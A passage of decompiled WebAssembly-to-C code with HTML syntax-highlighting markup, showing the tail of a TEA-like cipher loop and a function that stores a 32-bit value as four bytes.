</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">4</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">3</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">3</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>    l<span class="hljs-number">4</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">4</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">3</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> &lt;&lt;= (<span class="hljs-keyword">i1</span> &amp; <span class="hljs-number">31</span>)<span class="hljs-comment">;
</span>    l<span class="hljs-number">5</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">21</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">6</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">6</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>    l<span class="hljs-number">7</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">5</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">7</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> ^= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">8</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">10</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">9</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">9</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">4</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">11</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">11</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>    l<span class="hljs-number">12</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">43</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">13</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">12</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">13</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">14</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">8</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">14</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> ^= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">15</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">10</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">16</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">16</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">4</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">17</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">17</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>    l<span class="hljs-number">18</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">18</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">5</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> &gt;&gt;= (<span class="hljs-keyword">i1</span> &amp; <span class="hljs-number">31</span>)<span class="hljs-comment">;
</span>    l<span class="hljs-number">19</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">21</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">20</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">20</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">4</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">22</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">22</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>    l<span class="hljs-number">23</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">19</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">23</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">24</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">15</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">24</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> ^= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">25</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">10</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">26</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">26</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>    l<span class="hljs-number">27</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">27</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">25</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">28</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">26</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">28</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i32</span>_store(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>), <span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">10</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">29</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">29</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>    l<span class="hljs-number">30</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">30</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">3</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> &lt;&lt;= (<span class="hljs-keyword">i1</span> &amp; <span class="hljs-number">31</span>)<span class="hljs-comment">;
</span>    l<span class="hljs-number">31</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">21</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">33</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">33</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">8</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">34</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">34</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>    l<span class="hljs-number">35</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">31</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">35</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> ^= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">36</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">10</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">37</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">37</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>    l<span class="hljs-number">38</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">43</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">39</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">38</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">39</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">40</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">36</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">40</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> ^= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">41</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">10</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">42</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">42</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>    l<span class="hljs-number">44</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">44</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">5</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> &gt;&gt;= (<span class="hljs-keyword">i1</span> &amp; <span class="hljs-number">31</span>)<span class="hljs-comment">;
</span>    l<span class="hljs-number">45</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">21</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">46</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">46</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">12</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">47</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">47</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>    l<span class="hljs-number">48</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">45</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">48</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">49</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">41</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">49</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> ^= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">50</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">10</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">51</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">51</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">4</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">52</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">52</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = <span class="hljs-keyword">i32</span>_load(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>))<span class="hljs-comment">;
</span>    l<span class="hljs-number">53</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">53</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">50</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">55</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">52</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = l<span class="hljs-number">55</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i32</span>_store(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>), <span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">54</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">56</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">56</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i1</span> = <span class="hljs-number">1</span>u<span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">57</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    <span class="hljs-keyword">i0</span> = l<span class="hljs-number">57</span><span class="hljs-comment">;
</span>    l<span class="hljs-number">54</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>    goto L<span class="hljs-number">1</span><span class="hljs-comment">;
</span>    B<span class="hljs-number">2</span>:<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">62</span><span class="hljs-comment">;
</span>  g<span class="hljs-number">10</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  goto Bfunc<span class="hljs-comment">;
</span>  Bfunc:<span class="hljs-comment">;
</span>  FUNC_EPILOGUE<span class="hljs-comment">;
</span>}

static void f<span class="hljs-number">11</span>(u<span class="hljs-number">32</span> p<span class="hljs-number">0</span>, u<span class="hljs-number">32</span> p<span class="hljs-number">1</span>) {
  u<span class="hljs-number">32</span> l<span class="hljs-number">0</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">1</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">2</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">3</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">4</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">5</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">6</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">7</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">8</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">9</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">10</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">11</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">12</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">13</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">14</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">15</span> = <span class="hljs-number">0</span>, 
      l<span class="hljs-number">16</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">17</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">18</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">19</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">20</span> = <span class="hljs-number">0</span>, l<span class="hljs-number">21</span> = <span class="hljs-number">0</span><span class="hljs-comment">;
</span>  FUNC_PROLOGUE<span class="hljs-comment">;
</span>  u<span class="hljs-number">32</span> <span class="hljs-keyword">i0</span>, <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = g<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">21</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = g<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">16</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  g<span class="hljs-number">10</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = g<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = g<span class="hljs-number">11</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = (u<span class="hljs-number">32</span>)((s<span class="hljs-number">32</span>)<span class="hljs-keyword">i0</span> &gt;= (s<span class="hljs-number">32</span>)<span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>  if (<span class="hljs-keyword">i0</span>) {
    <span class="hljs-keyword">i0</span> = <span class="hljs-number">16</span>u<span class="hljs-comment">;
</span>    (*Z_envZ_abortStackOverflowZ_vi)(<span class="hljs-keyword">i0</span>)<span class="hljs-comment">;
</span>  }
  <span class="hljs-keyword">i0</span> = p<span class="hljs-number">0</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">10</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = p<span class="hljs-number">1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">13</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">13</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">14</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">14</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">255</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> &amp;= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">15</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">16</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">16</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = l<span class="hljs-number">15</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i32</span>_store<span class="hljs-number">8</span>(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>), <span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">13</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">17</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">17</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">8</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> &gt;&gt;= (<span class="hljs-keyword">i1</span> &amp; <span class="hljs-number">31</span>)<span class="hljs-comment">;
</span>  l<span class="hljs-number">18</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">18</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">255</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> &amp;= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">19</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">0</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">1</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">1</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">1</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = l<span class="hljs-number">19</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i32</span>_store<span class="hljs-number">8</span>(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>), <span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">13</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">2</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">2</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">16</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> &gt;&gt;= (<span class="hljs-keyword">i1</span> &amp; <span class="hljs-number">31</span>)<span class="hljs-comment">;
</span>  l<span class="hljs-number">3</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">3</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">255</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> &amp;= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">4</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">5</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">5</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">2</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">6</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">6</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = l<span class="hljs-number">4</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i32</span>_store<span class="hljs-number">8</span>(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>), <span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">13</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">7</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">7</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">24</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> &gt;&gt;= (<span class="hljs-keyword">i1</span> &amp; <span class="hljs-number">31</span>)<span class="hljs-comment">;
</span>  l<span class="hljs-number">8</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">8</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">255</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> &amp;= <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">9</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">10</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">11</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">11</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = <span class="hljs-number">3</span>u<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> += <span class="hljs-keyword">i1</span><span class="hljs-comment">;
</span>  l<span class="hljs-number">12</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">12</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i1</span> = l<span class="hljs-number">9</span><span class="hljs-comment">;
</span>  <span class="hljs-keyword">i32</span>_store<span class="hljs-number">8</span>(Z_envZ_memory, (u<span class="hljs-number">64</span>)(<span class="hljs-keyword">i0</span>), <span class="hljs-keyword">i1</span>)<span class="hljs-comment">;
</span>  <span class="hljs-keyword">i0</span> = l<span class="hljs-number">21</span><span class="hljs-comment">;
</span>  g<span class="hljs-number">10</span> = <span class="hljs-keyword">i0</span><span class="hljs-comment">;
</span>  goto Bfunc<span class="hljs-comment">;
</span>  Bfunc:<span class="hljs-comment">;
</span>  FUNC_EPILOGUE<span class="hljs-comment">;
</span>}

